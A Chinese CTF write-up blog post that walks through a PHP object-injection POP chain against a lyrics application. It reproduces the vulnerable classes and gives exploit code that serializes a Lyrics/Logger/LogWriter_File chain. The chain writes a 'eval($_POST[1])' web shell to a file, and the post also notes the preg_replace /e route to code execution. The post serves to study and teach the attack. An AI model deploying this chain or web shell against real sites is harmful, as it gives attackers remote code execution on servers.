php反序列化pop链一则

跟随wupco师傅学习

classes.php

<?php

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
  }
  function __toString() {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name() {
      return $this->name;
  }
}

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
  function shortForm() {
    return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
  }
  function name_is($name) {
    return $this->song->get_name() === $name;
  }
};

class User {
  static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

class Porter {
  static function exportData($lyrics) {
    return base64_encode(serialize($lyrics));
  }
  static function importData($lyrics) {
    return serialize(base64_decode($lyrics));
  }
};

class Conn {
  protected $conn;
  function __construct($dbuser, $dbpass, $db) {
    $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }

  function getLyrics($lyrics) {
    $r = array();
    foreach ($lyrics as $lyric) {
      $s = intval($lyric);
      $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r []= unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }

  function addLyrics($lyrics) {
    $ids = array();
    foreach ($lyrics as $lyric) {
      $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->conn->query("SELECT MAX(id) FROM lyrics");
      $id= $res->fetch_row(); $ids[]= intval($id[0]);
    }
    echo var_dump($ids);
    return $ids; 
  }

  function __destruct() {
    $this->conn->close();
    $this->conn = NULL;
  }
};

触发点是一个直接可以反序列化。
题目不难,pop链构造一下,最后是可以生成一个shell
可以看看如何构造pop链:http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

这里想记录的是构造pop链的一些过程,重新回顾一下。

unserialize — 从已存储的表示中创建 PHP 的值
类里面经常会用到两种函数:构造函数和析构函数

构造函数:具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。比如__construct
这里特别注意一下,创建新对象的时候才会调用,所以反序列化的时候是不会调用__construct

析构函数:在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。比如__destruct

上面两种都是属于魔术方法,更多的魔术方法可以看:http://php.net/manual/zh/language.oop5.magic.php

所以找反序列化洞的时候一般可以重点关注两个魔术方法:__wakeup()(反序列化的初始化调用)、__destruct()

当然wakeup是可以绕过的,具体可以看看CVE-2016-7124

铺垫完了~下面解析一下这个pop如何构造

漏洞触发点1:可以写log进一个文件:LogWriter_File::writeLog()
$this->filename可控,注意不是$filename
虽然__construct里面写了,感觉是没法跨目录写shell,$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
但是反序列化的时候是不调用的,所以我们可以直接把这个注释掉,然后再在类里面添加一行$this->filename = '../1.php';

但是这里的文件内容为空,应该如何写入内容?
可以看到最上面的,OutputFilter::filter(),可以正则匹配空的,然后替换为shell内容,new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");

漏洞触发点2:当然如何php如果版本不高于5.5的话,OutputFilter::filter(),可以用正则的/e模式来执行php代码

exp:

$fltr = new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
$fileformat_obj = new LogFileFormat();
$format = new LogFileFormat(array($fltr), "\n");

$filename = '1.php';
$logwrite_obj = new LogWriter_File($filename, $format);

$writer = $logwrite_obj;

$logger_obj = new Logger($writer);

$lyrics = 1;
$song = $logger_obj;
$lyrics_obj = new Lyrics($lyrics, $song);

echo base64_encode(serialize($lyrics_obj));

这里还有要说的坑点就是private变量,它最后周围是有不可见字符\x00,所以如果不是base64编码的话,可以用%00来代替。

posted @ 2017-07-27 11:23  l3m0n  阅读(3237)  评论(0编辑  收藏